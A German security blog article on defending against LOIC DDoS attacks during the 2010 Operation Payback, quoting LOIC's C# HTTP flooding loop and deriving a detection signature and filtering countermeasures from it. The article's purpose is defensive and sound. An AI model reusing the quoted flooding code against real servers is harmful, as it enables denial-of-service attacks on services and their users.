LOIC-Attacken abwehren - DDoS im Umfeld von Wikileaks

LOIC-Attacken abwehren

DDoS im Umfeld von Wikileaks

Marc Ruef
von Marc Ruef
Lesezeit: 5 Minuten

Im Zuge der Festnahme von Julian Assange und dem politischen Druck gegen Wikileaks haben sich verschiedene Kreise zu einer umstrittenen Distributed Denial of Service-Attacke (DDoS) gegen Wikileaks-Gegner zusammengeschlossen. Dieser Operation Payback, die durch Mitglieder des Underground-Forums 4chan orchestriert wird, sind mehrere grosse Dienstleister zum Opfer gefallen:

Angriffsmechanik

Um diese Angriffe umzusetzen, wird das Tool LOIC (Low Orbit Ion Cannon) verwendet. Dieses wurde ursprünglich in C# geschrieben, ist aber ebenfalls als plattformunabhängige Java-Portierung erhältlich. Es sieht sich in der Lage, das Zielsystem mit einer Vielzahl an Anfragen zu überlasten. Dabei können entweder klassisches TCP- oder UDP-Flooding aber auch HTTP-Flooding durchgesetzt werden.

LOIC in Aktion

Der Quelltext der Original-Implementierung steht zur Verfügung und mit der Durchsicht dessen wird die Funktionsweise des Angriffs über HTTP ersichtlich. Diese wird in der Funktion bw_DoWork() in der Datei HTTPFlooder.cs wie folgt definiert (Zeilen 56-82; letzte Comments leicht gekürzt):

private void bw_DoWork(object sender, DoWorkEventArgs e)
{
   try
   {
      byte[] buf = System.Text.Encoding.ASCII.GetBytes(
         "GET " + Subsite + " HTTP/1.0\r\n\r\n\r\n");
      IPEndPoint RHost = new IPEndPoint(System.Net.IPAddress.Parse(IP), Port);
      while (isFlooding)
      {
         State = ReqState.Ready; // SET STATE TO READY //
         LastAction = Tick();
         byte[] recvBuf = new byte[64];
         Socket sck = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
         State = ReqState.Connecting; // SET STATE TO CONNECTING //
         sck.Connect(RHost);
         sck.Blocking = Resp;
         State = ReqState.Requesting; // SET STATE TO REQUESTING //
         sck.Send(buf, SocketFlags.None);
         State = ReqState.Downloading; iRequested++; // DOWNLOADING // REQUESTED++
         if (Resp) sck.Receive(recvBuf, 64, SocketFlags.None);
         State = ReqState.Completed; iDownloaded++; // COMPLETED // DOWNLOADED++
         if (Delay>0) System.Threading.Thread.Sleep(Delay);
      }
   }
   catch { }
   isFlooding = false;
}

Gegenmassnahmen

Hierbei ist zu sehen, wie in der Variable buf die HTTP GET-Anfrage definiert wird. Diese weist drei Auffälligkeiten auf:

  1. Es wird lediglich HTTP/1.0 (und kein HTTP/1.1) unterstützt.
  2. Somit wird keine in HTTP/1.1 obligatorische Host-Zeile mitgeschickt.
  3. Die Anfrage wird mit drei anstelle von den nur erforderlichen zwei \r\n abgeschlossen.

Diese drei Eigenschaften machen es möglich, derlei Zugriffe erkennen und frühstmöglich mitigieren zu können. Vor allem das letztgenannte Detail ist unüblich bei herkömmlichen GET-Anfragen. Ein entsprechendes Unterdrücken mit einem Proxy-Element oder einem .htaccess/mod_security Filter können dabei helfen, die Wucht der sehr primitiven Attacke abzufedern.

Zudem unterstützen die gegenwärtigen Versionen von LOIC keinerlei Möglichkeit zum Spoofing der Quell-IP-Adressen oder dem Generieren von Decoy-Zugriffen (diese wären vor allem im UDP-Modus effektiv). Aus diesem Grund kann es auch einfach nur helfen, mittels einem Protocol Analyzer die Zugriffe mitzulesen und in periodischer Weise restriktive IP-Filter für die einzelnen DDoS-Nodes anzuwenden (einfaches Beispiel mit .htaccess). Der LOIC-Client wird von den meisten Antiviren-Lösungen als solcher erkannt.

Weitere Informationen zum Schutz gegen DDoS-Attacken fasst die hervorragende Arbeit A Taxonomy of DDoS Attacks and DDoS Defense Mechanisms zusammen. Eine Diskussion zur Entwicklung von Gegenmassnahmen in den letzten 10 Jahren ist auf der Mailingliste der NANOG zu finden.

Update 27. Dezember 2010

Aktualisierung der Liste der betroffenen Internet-Seiten.

Über den Autor

Marc Ruef

Marc Ruef ist seit Ende der 1990er Jahre im Cybersecurity-Bereich aktiv. Er hat vor allem im deutschsprachigen Raum aufgrund der Vielzahl durch ihn veröffentlichten Fachpublikationen und Bücher – dazu gehört besonders Die Kunst des Penetration Testing – Bekanntheit erlangt. Er ist Dozent an verschiedenen Fakultäten, darunter ETH, HWZ, HSLU und IKF. (ORCID 0000-0002-1328-6357)

Links

Sie wollen die Sicherheit Ihrer Firewall prüfen?

Unsere Spezialisten kontaktieren Sie gern!

×
Konkrete Kritik an CVSS4

Konkrete Kritik an CVSS4

Marc Ruef

scip Cybersecurity Forecast

scip Cybersecurity Forecast

Marc Ruef

Voice Authentisierung

Voice Authentisierung

Marc Ruef

Bug-Bounty

Bug-Bounty

Marc Ruef

Sie wollen mehr?

Weitere Artikel im Archiv

Sie brauchen Unterstützung bei einem solchen Projekt?

Unsere Spezialisten kontaktieren Sie gern!

Sie wollen mehr?

Weitere Artikel im Archiv